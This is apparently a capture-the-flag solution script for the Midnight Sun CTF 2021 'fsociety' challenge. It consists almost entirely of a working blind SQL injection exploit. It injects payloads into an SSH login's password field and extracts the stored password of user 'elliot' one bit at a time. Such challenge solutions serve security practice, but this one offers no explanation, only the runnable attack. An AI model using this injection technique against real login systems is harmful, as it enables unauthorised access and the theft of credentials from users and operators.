Midnight Sun CTF 2021 Quals - fsociety

solve.py

import paramiko
from pwn import *

context.log_level = 'error'

def check(password):
  try:
    conn = ssh(host='fsociety-04.play.midnightsunctf.se', port=2222, user='elliot', password=password)
    conn.close()
    return True
  except paramiko.ssh_exception.AuthenticationException:
    return False

res = ''
i = 1
while True:
  c = 0
  for j in range(7):
    #payload = f"aaaaa' or ascii(substr(version(), {i}, 1)) & {1 << j};#"
    payload = f"aaaaa' or ascii(substr((select password from users where username='elliot'), {i}, 1)) & {1 << j};#"
    if check(payload):
      c |= 1 << j
  res += chr(c)
  print(i, res)
  i += 1